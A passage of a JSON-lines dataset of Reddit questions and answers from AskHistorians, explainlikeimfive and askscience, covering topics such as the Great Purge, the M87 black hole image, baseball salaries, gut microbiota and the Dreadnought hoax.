ceremony (a Sun Dance) in the 1990s hosted by Assiniboine people from the US reservations and Canadian reserves just across the Montana border. I met members of two different \"Clown Societies,\" one Assiniboine and the other Piikani (southern Blackfeet), who acted as \"marshalls\" for the ceremony. They dressed in crazy paint and costumes, lurched around the grounds (completely sober, mind you) confronting outsiders and miscreants, and generally acted like gadflys (in the service of allowing the doctors, dancers, and the afflicted to dance and pray unmolested by curious onlookers). They ran an anthropologist and his grad students from Toronto off, they picked up trash and gave people littering a terrible time, and they made sure people in the surrounding area weren't drinking. They didn't dance themselves (although many had in the past), and they didn't enter the arbor, but they did run sweats to cleanse dancers before the ceremony, for everyone after the ceremony, and for anyone else that needed a sweat.\n\nI spoke to the Piikani doctor who was the \"leader\" (or at least oldest) of the clowns from Blackfeet, and he showed me his torso (with typical \"lightning tree\" scars). He was struck in the Sweetgrass Hills as a 17 year old and was inducted into the Clown Society some fifty years before I met him. Everyone else in their society had either been struck or very narrowly avoided it. They considered it absolutely imperative that a lightning-struck person was blessed by a particular spirit and chosen to special service. Like the Lakota, they insist that those killed by lightning have offended the spirits or broken a vow, and that for a clown to disobey (including by drinking) would result in death by lightning strike for them and/or their families. Serious business, but a fun bunch.\n\n---------------------------------\n\nSo why all this tangential information about philosophy and AI peoples and lightning strikes and clowns? Because it contextualizes your question to one that makes more sense to me: how did cultures who believed in lightning gods/spirits think of humans being struck by lightning? Some people in some cultures are *honored and revered* for surviving a lightning strike and become, for lack of a better term, \"priests\" for a God or spirit/power. Being killed by lightning strike was punishment, but surviving was a sign of being chosen.\n\nWhy wouldn't that be a reasonable response for Romans, Greeks, or Germanic tribes as well?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/8dark4/during_the_era_where_zeus_was_the_dominant_god_is/"], [], []]}
{"q_id": "bcw5rm", "title": "why did it take so much data to record the image of the m87 black hole?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bcw5rm/eli5_why_did_it_take_so_much_data_to_record_the/", "answers": {"a_id": ["ektyi2d", "ektzwdq", "eku3evf", "ekuftox", "ekv48l9", "ekv8j10"], "score": [117, 14, 121, 16, 6, 2], "text": ["Mostly because it was so far away they couldn't use one telescope, so they couldn't use one telescope and set it to make a picture, they had to record the raw data in multiple telescopes and then combine it. And second, black holes are well black, so they were not looking for light from the black hole, but light from things nearby that were affected.\n\nCombining data from multiple telescopes requires extra data than you normally need to make a picture as you need to search for things that match from multiple telescopes and compensate, specifically they need accurate phase information, not just time and amplitude.", "The resolution of a normal telescope is WAY too poor to see a black hole in the center of a galaxy.  And the resolution of a telescope is limited by the size of a telescope - bigger telescopes give you better images (obviously, right?).  So, in order to see a black hole, we basically needed to use a telescope the size of the Earth itself.  So we did this by having several telescope all over the Earth looking at the same thing at the same time.  Not only are they looking at the same thing at the same time, but as the Earth spins, they fill in even more data.  They also take data over time, so they can analyze the difference in time between light arriving at one location and another.  \n\nSo we don't have one telescope, there are 8 of them.  And they're not looking at still images, they're taking data as time goes on (movies).  Oh, and one last thing - you can't compress these images or these movies like you would with a normal photo, because this compression loses some information (which might be not noticeable to the naked eye, but WILL make a difference when you combine images to analyze them).  \n\nSo basically you have multiple high definition images with zero compression and recording over time... not just a single snapshot like you would take with your phone.", "Think of it as combining and stitching thousands of large high quality pictures. This would take up a lot of space. Plus they were looking for something relatively small compared to the large amount of space.\n\nThose pictures are from big cameras with lots of data in each photo, many gigabytes for all the images collected.", "Katie Bouman's Ted talk from a couple of years does a good job of explaining why getting the image was so difficult, which in turn kind of hints at why it took 5 petabytes of data.\n\n_URL_0_", "Very simplified explanation: That  \\~5 petabytes is mostly noise.\n\nIf you take a picture, there is some \"noise\" in the picture - you may see this if you look really close at a picture it looks grainy and/or blurry.  If you take a picture of something when it is dark, or when the object is small, or when the object is far away, then there is more noise, because these make the camera's job harder.  Also if there is other stray light  around (e.g. a police car with their flashing lights on) that also interferes with the picture.  If you get too much noise in the picture you won't be able to see anything.\n\nIf you take a picture of a black hole that is very very far away and very feint and appears very small, something that is right on the limits of current human technology, then there will be a \\*lot\\* of noise.  Also this is radiotelescope picture, so there are a bunch of other radio signals that interfere with the instruments causing more noise.  In order to get enough of a signal that they could separate it from the noise, they had to use several \"cameras\" spread around the Earth.\n\nAfter capturing all this, they then did a lot of fancy computer filtering to remove most of the noise, leaving the picture you saw.\n\nManaging to extract a useful signal from the data they had is an impressive accomplishment.", "Think of a bed sheet hanging on a line.  If you get real close to it you can see the individual weaved strands that make the entire sheet.  Where two of the strands cross is a point.  You need to take a picture of every point on that sheet.  Once you have all those I need you to do that from every angle possible.  Now we need to take all those pictures and put them together like a jigsaw puzzle.  It is a lot more complicated than that of course but this may give you an idea of how much data had to be collected and sorted.  It was so much data it would of took way too long to send it over the internet, even if everyone else stopped using it and they had 100% of the bandwidth!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=P7n2rYt9wfU"], [], []]}
{"q_id": "almn1t", "title": "polar vortex", "selftext": "Currently in Chicago hunkered down.\n\nWhy does the PV inhibit travel and stores to be closed?  It's not like we have four feet of snow and black ice on the roads.  I can see why driving may be dangerous if you break down but otherwise I thought driving would be ok.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/almn1t/eli5_polar_vortex/", "answers": {"a_id": ["eff6v8e", "eff7vsd", "effa9x9"], "score": [7, 8, 3], "text": ["Some cars won't run properly.\n\nPeople are afraid of injury (like frostbite) if accidentally caught outside, for example if their vehicle breaks down, or if walking.", "It's dangerously cold and a lot of people rely on public transportation. This has them standing on bus stops/train stations exposed to the cold and risking frostbite or hypothermia, and worse case scenario they could literally freeze to death if they miss their bus or their vehicle breaks down and they have to walk. ", "The biggest issue is the temp. Roads can be salted and sanded in snow storms, but once the air temp reaches below 0, salt no longer melts ice or snow.\n\nThe second is extreme wind chills. So far its been registered at -51 F with wind factor, in temps half as cold, around -25 F, it takes 30 minutes for hypothermia to set in. Figure a child or elderly adult has 15 minutes or less. A full grown healthy adult maybe 30 minutes.\n\n\nSince car heaters and most jackets and clothing are rated as low as around -25 F for continuous heat and protection, even in your car or winter bundle of clothes you will become a victim of progressive heat loss. \n\nWith 6 deaths already, its best to minimize public exposure to the elements as much as possible "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2fjnry", "title": "Given the recent mapping of Laniakea....exactly how do they do that?", "selftext": "What are they measuring and how can they measure distance traveled, direction, speed, etc? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2fjnry/given_the_recent_mapping_of_laniakeaexactly_how/", "answers": {"a_id": ["ck9wyve"], "score": [7], "text": ["A lot of astronomy is done by collecting massive amounts of data with a telescope, by scanning across the entire sky, collecting it, and archiving it for people to use later. A lot of this is publicly accessible too.\n\nIn the Laniakea paper, they took data from these surveys, getting the distance and velocities of 8000 galaxies. The distance, given what is known about cosmology, tells us how fast the galaxies should be moving away from us if there are no gravitational sources, and the measured velocities they compare to the expected velocities and use the difference to figure out how fast each galaxy is moving relative to its neighbors. From this, they can figure out how each the sources of gravity that are causing the galaxies to move this way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "25o9lx", "title": "The brothers of medieval French kings almost always ended up with the title of Duke of something or other. How did that work? Did they end up with dozens and dozens of hereditary ducal titles after a few hundred years?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/25o9lx/the_brothers_of_medieval_french_kings_almost/", "answers": {"a_id": ["chj8407"], "score": [59], "text": ["The key answer is the \"apanage\" system. The duchies where given \"en apanage\" to the sons of the kings wich means that they would return to the royal domain after their death (most of the time under the reign of the next king) who would give the same titles to their children. This system was not created until the XIVth century. The apanage system was also not always correctly applied, the duchy of burgundy was supposed to be given as an apanage to one of the sons of Jean II the good but due to the emfeblement of the royal power under the king Charles VI the duke of Burgundy (who became duke of Flanders by mariage) enabled to secure the duchy as an hereditary one thus enabling the creation of the burgundian state."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4md4c4", "title": "How much did the Soviet \"Great Purge\" impact everyday society? For example if I was a plumber living in Moscow, 1937, how much would I know or care about what was going on?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4md4c4/how_much_did_the_soviet_great_purge_impact/", "answers": {"a_id": ["d3vi59k"], "score": [63], "text": ["**You would not know, but it would consume your entire being.**\n\nImagine a disaster. \n\nWhether it is an earthquake, a tornado or a hurricane, what comes to mind is a catastrophic moment in which lives are upended, homes torn apart, and families scattered. When the disaster ends, the rebuilding begins. Schools are erected, homes renovated, and so on.\n\nThe psychological damage takes longer to heal. A disaster creates uncertainty. You may not know where your next meal is coming from or where you'll sleep tonight. You might not know where your brother, sister, mother or father is. Do you have a job anymore? Can you survive anymore?\n\nA disaster is not just the single moment when the roof is torn from your home. It lasts until you are again as secure as you were before the disaster.\n\n***\n\nRight now, Alaska \u2500 my home state \u2500 is in economic turmoil. With oil prices plunged, there's a multibillion-dollar deficit. The state's savings accounts will last, but not for more than two years at the outside. Thousands of people have lost their jobs, and thousands more will lose theirs. \n\nThis isn't a disaster like a hurricane or a tsunami, but it's a disaster nonetheless. \n\nIn this disaster, the state's governor has argued, the enemy isn't the deficit \u2500 it's the uncertainty it brings. As long as the deficit exists, people are uncertain about what will be done to fix it. Will they lose their jobs? Will they have to move? Can they truly risk buying a home, starting a new business, purchasing a new car?\n\nUncertainty creates stress, paralysis and fear. When the uncertainty is great enough, it can cause terror.\n\n***\n\nI mention this only to give you a doorway by which to experience what the mood must have been in Moscow in 1937. A previous commenter claimed that the Great Terror impact on an ordinary Soviet citizen was \"not very much.\" \n\nThat's probably the biggest error I've *ever* seen on /r/askhistorians that wasn't deliberate Holocaust denial.\n\n**The effects of the Great Terror \u2500 Robert Conquest coined that term, and it is appropriate \u2500 were felt at every level of Soviet society in a drastic and unforgettable way.** To quote Norman Naimark's *Stalin's Genocides*:\n\n > \"The term captures well the 'apocalyptic theater of horrors' of those two years in which every Soviet citizen, with the exception of the *vozhd* himself \u2500 Stalin \u2500 could potentially be arrested, tortured, exiled, or executed. The fear was palpable and, especially for those in any position of responsibility \u2500 the nomenklatura of the party, factory bosses, intellectuals, army generals, and newspaper editors \u2500 bags were packed in case the knock on the door came ...\"\n\nVarious professions endured particular attention. As Karl Schl\u00f6gel writes in *Moscow 1937* (first published in German, but available in English since 2013), demographers, statisticians, geologists \u2500 even mountain climbers \u2500 earned special attention from the purge. These were not high-ranking officials, just ordinary people in the bureaucracy created by the Soviet system.\n\nIn the 1930s, that bureaucracy was booming as the Soviet Union embarked on one of the great modernization campaigns of human history. Victor Fischer, one of the last surviving creators of the Alaska Constitution, grew up in Moscow during the Great Purge. In his memoir, *To Russia with Love*, he recalls how he and school classmates had great fun playing around the city in the vast construction sites that dotted it. \n\nIn his book, Schl\u00f6gel makes the case that the soaring Soviet expansion efforts inevitably ran into teething problems. Amid the excesses of the Great Terror, people assigned to these projects were executed as \"wreckers\" or \"saboteurs\" of the state. Take the Moscow-Volga canal, whose opening coincided with the arrest, prosecution and execution of its overseers, or the way problems with the swelling Soviet railway system led to a hunt for saboteurs that inevitably killed the innocent.\n\nThe Great Terror is typically divided into two sections, the one before August 1937 \u2500 which was focused on the party and government's elite \u2500 and the period after August 1937, where the executions spread.\n\nAs Montefiore writes in *Stalin: The Court of the Red Tsar*:\n\n > \"Here, on the contrary, death was sometimes random: the long-forgotten comment, the flirtation with an opposition, envy of another man's job, wife or house, vengeance or just plain coincidence brought the death and torture of entire families. This did not matter: \"Better too far than not far enough,\" Yezhov told his men as the original arrest quota ballooned to 767,397 arrests and 386,798 executions, families destroyed, children orphaned, under Order No. 00447.\"\n\nThe Terror grew and grew because the Stalinist system of denunciations combined with the Soviet love of quotas and overfulfilling them. Anyone who overfilled their quota, whether that quota was the manufacture of shoes or of executions, could expect rewards. Denunciations were an easy way to file grievances and cover your own skin. As Montefiore writes: \"Once the Terror was unleashed, denunciations worked like kerosene on a fire, keeping it flaring up. These denunciations were already a vital part of the Stalinist system: everyone was expected to denounce everyone else. In the Bolshevik universe, there were only two ways for mistakes to come to the notice of the leaders: accidents \u2500 and denunciations.\"\n\nAs /u/TenMinuteHistory points out, these denunciations (and the punishment for them) could be arbitrary. Again, the *uncertainty* is what made the Great Terror a disaster that affected far more people than were killed or imprisoned. The fear spread because *anyone* could be taken away in the middle of the night, with little cause. There was no rule of law, no regulated process for appeal and hearing. The Great Purge went through the motions of a trial, but if an execution was decided, it would come quickly. \n\nThe most common estimates claim that the Terror resulted in 1.5 million arrests and more than 700,000 executions. These were no small figures. [Going by the 1940 U.S. Census](_URL_0_), it would be as if every person in Pittsburgh was taken into a basement and shot. Every person in Los Angeles would be deported to camps throughout the Rocky Mountains or Alaska.\n\nThe Great Terror was not limited to a certain age, gender, economic class or geographic area. In 2000, Melanie Ilic published \"The Great Terror in Leningrad: A Quantitative Analysis\". In Leningrad, the victims of the Great Terror ranged from 19 to 78 years of age. Fewer than 4 percent were women. While most purge victims were ethnic Russians, minorities sometimes suffered disproportionately. Poles, for example, made up 16 percent of the purge's victims, even though they were less than 1 percent of the USSR's population nationally. Ethnic Germans were purged in large numbers due to fears of war with Nazi Germany.\n\nEven Americans were subject to the purge. In 2008, Tim Tzouliadis published *The Forsaken: An American Tragedy in Stalin's Russia*, which detailed the plight of the thousands of Americans who emigrated to the Soviet Union to the Great Depression. They came seeking jobs and security from economic uncertainty \u2500 the Soviet Union, locked out of global trade, was surging while the world faltered in the Depression \u2500 but within a few years, they found the Great Terror.\n\nFord Motor Company, in the midst of the Depression, made a deal with the Soviet Union to construct a huge factory complex in Gorky. Hundreds of Americans emigrated to the Soviet Union to work there. Many were devoted communists seeking \"true socialism.\" Instead, the Terror ate them.\n\nOn Oct. 7, 1937, *Pravda* published an article accusing the new factory of \"shameful\" work, Tzouliadis explains. \"Wreckers\" had ruined machinery with \"carelessness and insufficient care,\" which was the logical explanation for why the new plant could not match the production of the automobile works in Detroit. In describing what happened to one particular family, part of the nascent 1930s Soviet baseball circuit, Tzouliadis writes:\n\n > \"THROUGH THE COURSE of 1937 and 1938, Americans such as Victor Herman began to disappear, one after another. Many of the arrested were shot not long afterward, often with their fathers, who had brought them to the USSR. After their denunciation, the baseball players from Boston, Arthur Abolin and his younger brother, Carl, were both arrested and executed with their father, James Abolin, in 1938. Their mother died later, in a concentration camp. Only their younger sister, Lucy Abolin \u2500 the precocious drama student of the Anglo-American school \u2500 was left untouched.\"\n\nThese are the stories of the men, women and children who died. The Terror didn't just touch them: It touched every person who lived in the Soviet Union. This was a disaster of catastrophic proportions, but unlike a hurricane's winds or an earthquake's shaking, it did its damage as much with the uncertainty and terror left in the minds of its victims as it did with the bullets fired from a gun.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.census.gov/population/www/documentation/twps0027/tab17.txt"]]}
{"q_id": "8adk5t", "title": "How do long-necked animals breathe?", "selftext": "Please, allow me to elaborate: I understand that they breathe in and out with lungs and a diaphragm, just like other vertebrates.\n\nMy question is, every intake breath anyone takes has some amount of stale air, which is air that wasn't completely expelled and never left the throat on the previous exhale.  In short-necked animals this amount is fairly small and somewhat inconsequential.\n\nIf you're a giraffe or a brontosaurus, on the other hand, this seems like it would be a rather large percentage.  Evolution hasn't granted any lung-based animals breathing holes closer to the lung (that I'm aware of, with the exception of whales).  Do they solve this by simply having excessive lung capacity and taking much longer breaths?  Are there other tricks that they do?\n\nThanks!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8adk5t/how_do_longnecked_animals_breathe/", "answers": {"a_id": ["dwyh70s"], "score": [20], "text": ["Actually, the ratio of dead space to tidal volume is quite similar to other mammals, around 1:3.3. [Ref](_URL_0_).\nSo they can clear their airways in one breath.\nBut they breathe slower due to the relatively smaller diameter of their trachea."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ncbi.nlm.nih.gov/m/pubmed/20837156/"]]}
{"q_id": "21nlzf", "title": "miguel cabrera signed a 292 million dollar deal. explain where baseball gets all it's money? and how when making less than nfl?", "selftext": "I am an avid NFL watcher and the highest contracts they ahve are in the 60 or so million dollar range. The sound of this contract is mind blowing. Can someone explain how they're able to pay people this much? \n\n\nThe NFL makes 25% more and the contracts are dwarfs compared to MLB (_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21nlzf/eli5_miguel_cabrera_signed_a_292_million_dollar/", "answers": {"a_id": ["cgerrh6", "cges0tj", "cges4vl", "cgest6x", "cgexx56", "cgf319p"], "score": [2, 2, 2, 17, 2, 2], "text": ["Quick answers:\n25 men on an MLB roster, 53 on an NFL roster. \nAlso, MLB players' salaries are limited for the first 6 years in the majors. \n", "Also think about it. The average MLB stadium capacity is around 45,000 or so and the NFL might be 70,000? Even then, there are 162 baseball games in a season over the 16 in a football season.You're going to have more home games than NFL season games. Sort of explains how they can afford this.", "The NFL and NBA have salary caps and if you go over you are heavily penalized. In baseball there is a luxury tax but that number is so high that most teams can't get close to it because the owners aren't huge spenders. Teams like the Yankees, Dodgers and Rangers usually get close to that number but all it does is force the owner to pay extra money to the league. Plus the injury risk of the NFL is so much higher than baseball and committing that much money can go wrong very quickly. \n\nEdit: I forgot that all the money baseball players get is guaranteed unlike the NFL where only part or in some cases none of the contract has guaranteed money. ", "The answer is actually a combination of all these factors... while the NFL as a whole may make more money, in their CBA the teams are a part of revenue sharing. merchandising, tv deals, etc. are generally done through the league... as a result no one team really makes that much more than any other.\n\nOn top of that, to create parity in the league, the NFL established a hard salary cap in the mid-90s. In 2014, the cap is around $135 million. Every NFL team has 53 men on each roster, and the combined salaries of all these players MUST fall under the cap. 53 players divided by 135 is approx $2.5 million. League minimum for young players is about $0.5 million. veteran (4 years) minimum is about $0.75 million. Many NFL players hover around and just above this amount in order to sign their big name players (QBs, LT, def Star) so for every big name player they sign for $10+ million a year, they need about 5-10 players to be paid under $2.5 million. This is generally why you don't see very many BIG contracts in the NFL\n\nThere are ways around this where they back load salary and signing bonus heavy (for big stars at least). On top of that, these contracts are not guaranteed, which is why you rarely see players make it to the end of their contracts in the NFL\n\nbaseball on the other hand is very team heavy instead of league heavy as far as revenue is concerned. Each individual teams has control over their merchandising and tv deal. Due to this, teams in large markets (NYC, LA, Chicago, Dallas, Boston, Philly, etc) get HUGE tv deals. and team that have history or large fan bases (Yankees, Tigers, Dodgers, etc) sell merchandise like crazy. On top of all that, MLB has no cap in place and no quick or direct way to ensure teams who play poorly get better.\n\nAs a result, there are about 5-7 teams that will always have more money to spend on players. Yankees, Dodgers, Angels, Tigers, and the Red Sox are regularly teams with top revenue stream and team salaries. In recent years, Rangers, Giants, Nationals, and the Phillies have become regular mainstays in the top 10 team salaries.\n\nTo get to the root of why baseball players get big contracts, you have to look that the salary structure for players in their first six years in the majors. this is a system where rookies get paid dirt cheap and in the first 3 years teams can fix those contracts. After that the player and team go through and arbitration period of about 3-4 years. Because of all this the team is able to manage players salaries to a reasonable amount. This can all be bypassed, however, if the team decides they want to buyout the player and sign them to a real first contract (see Mike Trout)\n\nNow depending on when the player's first year in the majors, they will first become a free agent some where around 26-30 years old. Now since there is no salary cap in baseball, nothing is prevention players, who are usually good players in their prime, from going after large contracts that those top 10 team will usually pay.\n\nSince you asked about Cabrera specifically, his contract is a result of being on a team that is in a large market, a historically good team, and current power in baseball. The first 4 years of his career he was an All-Star, hitting 25-35 home runs a year but made less than $1 million dollars. After a favorable arbitration and earning $7 in his last year on the Marlins, he was traded to the Tigers at the end of the 2007 season.\n\nThe Tigers bought out the rest of his deal and signed him to an 8-year deal and since he has won 2 MVPs and a triple crown in 2012 (which hadn't been done since 1967). Cabrera will turn 31 next month, which is still considered the prime of a baseball player's career. Detroit offloaded a huge contract this offseason and with Cabrera nearing the end of his current deal, the Tigers wanted to give him an extension. he is considered one of the best hitters in the game currently, so since the Tigers are one of those top teams that is in a bigger market, nothing is stopping them from paying Cabrera like he is the best player in the league.\n\nBottom line, the MLB CBA favors the players, the NFL CBA favors the league/owners.", "162 mlb games vs 16 nfl games", "career length is a big determining factor in baseball the avg career is high 6 to 10 years but the average is going up plus you have a lot of stars that go 10 - 20 years where the average in the nfl is 3 years hard i went to high school with oscar Lua (usc and the patriots) and the biggest factor is injury 1 hit and your out permanently so spending tons of money is unwise in the nfl "]}, "title_urls": [], "selftext_urls": ["http://www.businessinsider.com/sports-chart-of-the-day-nfl-revenue-still-dwarfs-other-major-sports-2012-10"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1fippm", "title": "Is there a marked difference in the gut fauna of people who have different lifestyles?", "selftext": "I'm thinking of athletes versus sedentary people, vegans versus meat eaters or vegetarians, people with wildly 'unhealthy' diets or who are alcoholics to give some example.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fippm/is_there_a_marked_difference_in_the_gut_fauna_of/", "answers": {"a_id": ["caaovvt", "caavrh3", "caax3gv"], "score": [12, 2, 4], "text": ["Yes! There are significant differences.  One study shows that obese people have a far less diverse gut ecosystem within them than non-obese people.\n  \nA common core microbiota between obese individuals and their lean relatives? Evaluation of the predisposition to obesity on the basis of the fecal microflora profile\nM. Ellia, , , O. Colombob, A. Tagliabueb\n\nOther studies are also comparing lifestyles, conditions, and microbial flora.\n\n_URL_0_\n", "1. Although in the past the gut microbiota was referred to \"flora\" and less often \"fauna.\" Both terms **incorrect** as bacteria/archaea are neither plants nor animals.\n\n2. Yes vegetarians and omnivores have different microbiota. See the following review: _URL_0_\n\nStudies in mice and other animals have shown certain microbiota to be associated with obesity (something that you might say is derived from an \"unhealthy\" diet):\n_URL_1_", "Actually a study came out in April pointing to the fact that vegans/vegetarians have somewhat different gut flora and that red meat isn't directly contributing to cardiovascular disease, rather it's a bacteria present in the gut of omnivores, which produces a molecule when meatbolizing meat that is. So even when vegans ate meat, the bacteria didn't produce the molecule, or far less of it.\n\n > Researchers at the Cleveland Clinic decided to check out how different intestinal microbiota metabolize the components of meat. They found that bacteria present in the intestines of omnivores, but not present in the intestines of vegans or vegetarians, generate a molecule that promotes atherosclerosis when they are fed red meat. \n\n_URL_1_\n\n(you can find the study linked through the above which gives a sum up.)\n\nBetter link with more explanations: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0007125"], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3493718/", "http://www.ncbi.nlm.nih.gov/pubmed/20535027"], ["http://www.scientificamerican.com/article.cfm?id=red-meat-clogs-arteries-bacteria", "http://arstechnica.com/science/2013/04/feeding-our-gut-bacteria-meat-may-enhance-heart-disease-risks/"]]}
{"q_id": "77088c", "title": "Tuesday Trivia: In 1240, Sibylla of Marsal terrified the townspeople at night wearing a custom demon costume and mask. They believed that only one person could free them from the hauntings of this devil: their holy woman, Sibylla. How did people in *your* era use costumes and disguise?", "selftext": "For this week's Tuesday Trivia, share stories about the use of costumes and disguise throughout history!\n\n**Next time (Oct. 31)**: Ghost Stories, of course!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/77088c/tuesday_trivia_in_1240_sibylla_of_marsal/", "answers": {"a_id": ["doj4rsw", "dok50o4", "doknx6x", "doneqnv", "doqn2ls"], "score": [78, 41, 83, 17, 6], "text": ["At some point in the mid-460s BC, the Athenians and their allies under the general Kimon annihilated a Persian fleet and army in a single day at the Eurymedon, crushing Persia's final attempt to take Greece by force. Despite its magnitude, this event is so poorly known that we're not even sure in which year it happened. Our most contemporary source, the historian Thucydides, says little more about it than what I just wrote here.\n\nHowever, the later historian Diodoros of Sicily obliges us with a more fleshed-out version of the story. In his account (11.60-61), the Athenians first fought and captured the Persian fleet. Kimon, hoping to overcome the enemy army by surprise, then ordered his men to dress up in full Persian gear and man the captured ships. He waited until nightfall, and then made for the beach where the Persian army was encamped. Recognising the approaching triremes, the enemy thought their own fleet was coming to land, received the Athenians as friends. The Athenians promptly attacked the camp, scattered the panicked Persians, and killed one of their commanders, a nephew of Xerxes himself.\n\nWe can't tell where Diodoros got this tale from, and the whole thing may be fanciful fiction - but at least it has Greeks dressing up in trousers and tiaras, so there's that.", "In Aalst, a small city in Belgium, people celebrate mardi gras in a rather weird fashion: men dress like women during three days of feasts before Ash Wednesday.\n\nHistorically, this dates back to the early 20th century, when the city was dominated by a very small upper class, which owned all the factories in the area. The majority of the people dwelled in poverty and were entirely dependant on those factories and the underpaid jobs there. (Look up \"Daens\" for a look into these horrible times)\n\nEvery year, the aristocracy would celebrate the start of Lent with a masqueraded ball, with magnificent costumes, masks, etc.\n\nThe poor of Aalst decided they wanted to have their own \"bal masquee\" and, since they couldn't afford costumes, simply used whatever clothes they found in their wives' closets.\n\nThis tradition survives to this day and is recognized by UNESCO!", "A bit late on this, but still:\n\nOn February 7, 1910, [a group of foreign dignitaries](_URL_0_) -- Abyssinian princes conducting an extended tour of England -- arrived at the docks at Weymouth.  They had arrived with the intention of inspecting HMS *Dreadnought*, the most formidable warship on earth, and to pay their respects to her crew and commander.  Her captain at the time was Herbert Richmond, a prickly and unpopular character in the Navy, but one who could be counted on to observe the proper niceties in a situation such as this.\n\nTheir arrival was not unexpected -- Herbert Cholmondeley, a clerk of the Foreign Office, had telegrammed in advance to warn the *Dreadnought* and her crew of the dignitaries' imminent arrival.  Their Abyssinian provenance threw everyone off kilter; protocol demanded an honour guard and a formal reception in a case such as this, but the notice of their arrival had been so short that no Abyssinian flag could be acquired.  It was consequently decided (somewhat bafflingly) that the flag of Zanzibar would be flown instead, and the Zanzibar national anthem played.  The visiting princes seemed touched by the gesture, much to the crew's relief.\n\nThe inspection duly proceeded.  With the aid of an interpreter (the princes spoke no English), the visiting party made clear its complete satisfaction with the *Dreadnought* and her crew.  They were very impressed with the ship, very grateful for the warmth of their reception, very pleased to be able to report back home that all was well with the Royal Navy, etc.  Captain Richmond was suitably chuffed, and bid them a happy farewell as they departed.\n\nThe problem with all of this is that there were no Abyssinian princes.  Herbert Cholomondeley did not exist, and certainly did not work for the Foreign Office.  The \"interpreter\" was not interpreting anything, and the visitors were speaking gibberish made up on the spot.\n\nThe visitors were in fact artfully disguised members of the Bloomsbury Group, a literary and artistic coterie that had at the time attained a somewhat notorious reputation in England.  The ringleader of the hoax was Horace de Vere Cole (who never met a joke he'd turn down), but it involved a number of the leading lights of the Bloomsbury scene, such as Adrian Stephen, the painter Duncan Grant -- and a young Virginia Woolf.  They had been made to look like \"Abyssinians\" by the accomplished theatrical designer and make-up artist William Clarkson.\n\nThe hoax quickly became public knowledge and the Navy was suitably chastened.  The tricksters were never formally punished, as it was not apparent what law (if any) they had actually broken.  It became a matter of national embarrassment that a group of uncredentialed people off the street could simply board and walk around the Navy's flagship with impunity -- this, too, during a time of heightened international tensions.\n\nSecurity was tightened significantly after the hoax, thankfully, but all involved were keenly aware that it could have been far worse.", "So is Sibylla the first recorded case of a Scooby Doo villain, or is there a case of one further back?", "Jannisaries of Ottoman Empire used to wear chef hats as their formal uniform. This is in fact, how their organisation works. ''Yeni\u00e7eri Oca\u011f\u0131'' which roughly translates to ''Janissary Hearth/Kitchen''. They also formed ''Brotherhood of Spoons'' among their brothers-in-arms and their ranks have kitchen inspirations too for example there is an officer rank of ''Soupmaster/Head of Soup'' in their organisation.  \n\n\nTL-DR: Janisarries did Kitchen Cosplay."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://i.imgur.com/n59z3zN.jpg"], [], []]}
{"q_id": "285y1c", "title": "when did it first become possible for normal Japanese to buy Japanese translations of English (as in written in the English language originally, not exclusively from England) novels?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/285y1c/when_did_it_first_become_possible_for_normal/", "answers": {"a_id": ["ci7sljx"], "score": [3], "text": ["It would have been the Meiji Era, which started in 1868, though giving it some time is likely, translated novels would have probably been widely available in the 1880s at the latest. \n\nBefore then, the most common translation of Western literature would have been Christian bibles, ostensibly because of the missionary efforts of various Westerners. \n\nThere's also the problem of what 'normal' Japanese people would be buying as many people may not have been literate enough to partake in reading novels throughout various periods of Japan's history. \n\nAlso, the import of books would have been low before this period as trade with Westerners itself was heavily restricted until the opening of Japan after Perry's famous visit. \n\nBut once the Meiji Era began, literature of all sorts poured into Japan while literacy rates shot up with school reforms. \n\nWhat is interesting is that many of the translations of literature wouldn't have been from English (or French, German, Russian,etc) into Japanese. Rather, especially in the beginning, most of the translations were made from Chinese translations of famous works. \n\nThis is due to the lack of qualified and experienced translators who had the knowledge and skill to translate from Western languages to Japanese, which itself was due to the fact that Japan had only limited contact with the West before the Meiji Era. Meanwhile, the Japanese and Chinese languages are much more similar, relatively speaking, which greatly facilitated early and quick dissemination of a lot of key works of Western literature. \n\nChina's intellectuals had long been exposed to much of the West's great works in medicine, philosophy, novels and essays. Balzac, Hugo, Shakespeare... \n\nMuch of Japan's first translations came via Chinese to Japanese translation. Meanwhile, Japan sent a veritable army of intellectuals to Europe to study among them, learn their language and ways, and bring back anything and everything that would be useful, novel and extraordinary to those back home. \n\nAs for the physical books themselves, Japan (and China and Korea) had been printing books for a long time. The game changing Gutenburg press had already been in Japan nearly 300 years before, since the early 16th century, so they had no problems printing books for people who wanted them. \n\nEuropean styled bookstores would have come later, though books could be bought in regular markets, from traders, institutions of learning or archival, etc. \n\nAll this being said, Japan's government's focus was mainly on works about politics, governance, military and medicine, scientific knowledge. Literature would have had its place but the government's focus would have 